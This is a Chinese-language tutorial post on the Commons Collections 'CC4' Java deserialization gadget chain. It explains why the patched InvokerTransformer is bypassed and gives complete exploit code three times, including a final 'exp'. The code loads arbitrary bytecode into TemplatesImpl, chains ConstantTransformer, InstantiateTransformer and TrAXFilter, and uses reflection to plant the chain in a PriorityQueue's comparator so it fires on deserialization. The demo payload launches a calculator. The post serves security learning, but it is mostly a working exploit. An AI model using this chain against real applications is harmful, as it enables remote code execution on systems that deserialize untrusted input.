Java反序列化Commons-Collections篇05-CC4链
在Commons Collection 3.2.2及以后的版本中,官方修复了反序列化漏洞 ,修复方式也非常简单,修复方法非常简单粗暴:将InvokerTransfoemer类的implements Serializable 声明移除了。
这样子的结果就是InvokerTransformer 无法被序列化,更不能作为反序列化利用链的一部分被传输和重构。
由于InvokerTransform对象本身无法参与序列化/反序列化过程,所以可以通过其他非反序列化的方法(比如在内存中直接new一个)得到一个InvokerTransformer实例,通过这种方式进行命令执行。
思路一句话总结:我们不在反序列化流中直接传输恶意的InvokerTransformefer实例,而是传输一个能在反序列化过程中“帮我们创建”这个实例的对象。
CC4链分析
由于InvokerTransformer不能被序列化了,所以我们要new一个InvokerTransformer,再调用它的transform方法。然后通过其他函数的反序列化触发这一过程。
查找transform,然后我们就发现在 InstantiateTransformer的transform中可以实现这一过程。
继续查找到TransformingComparator.compare
在 PriorityQueue类中找到
编写exp
public class CC4 {
public static void main(String[]arge)throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c = TemplatesImpl.class;
Field bytecode = c.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
byte[][]code={eval};
bytecode.set(templates,code);
Field name=c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
Field tfactory =c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
// Transformer[] transformers={
// new ConstantTransformer(TrAXFilter.class),
// new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
}
}
根据此图继续向下编写链子
public class CC4 {
public static void main(String[]arge)throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c = TemplatesImpl.class;
Field bytecode = c.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
byte[][]code={eval};
bytecode.set(templates,code);
Field name=c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
Field tfactory =c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
Transformer[] transformers={
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
ois.readObject();
return ois;
}
}
但是到这里并没有发现弹计算器,debug尝试
由于这里的size=0,那么i就会为-1,不满足i>=0的条件,那我们就要修改size的值,让其不为0,由于这里size>>>1
,无符号右移1位,等价于size/2,所以这里要让size至少等于2。
首先找一下size是什么,这里可以看到size就是PriorityQueue这个队列的长度
用add函数随便增加两个队列
这里看到就可以弹出计算器了。
触发点延后到反序列化阶段
调试的时候发现计算器在priorityQueue.add(1);
的时候就跳出了,然后发现这里已经进入了InstantiateTransformer.transform方法。
看看发生了什么,查看代码发现这里的add经过一系列的调用最终还是触发了compare代码
然后这里会检验_tfactory的值是否为空,而这个值是在反序列化的时候才被初始化的,所以这里就报错了。
所以这里要先创建一个无害的TransformingComparator,然后在反序列化之前再利用反射将恶意代码注入,就能将恶意代码的触发点从序列化阶段延迟到反序列化阶段。
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[]arge)throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c = TemplatesImpl.class;
Field bytecode = c.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
byte[][]code={eval};
bytecode.set(templates,code);
Field name=c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
Field tfactory =c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
Transformer[] transformers={
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
//创建一个 无害的 TransformingComparator
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(1);
Class cl = transformingComparator.getClass();
Field transformingField = cl.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, chainedTransformer);
//利用反射,注入恶意 ChainedTransformer
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
ois.readObject();
return ois;
}
}
最终exp
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[]arge)throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c = TemplatesImpl.class;
Field bytecode = c.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
byte[][]code={eval};
bytecode.set(templates,code);
Field name=c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
Field tfactory =c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
Transformer[] transformers={
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
//创建一个 无害的 TransformingComparator
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(1);
Class cl = transformingComparator.getClass();
Field transformingField = cl.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, chainedTransformer);
//利用反射,注入恶意 ChainedTransformer
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
ois.readObject();
return ois;
}
}
总结
CC4链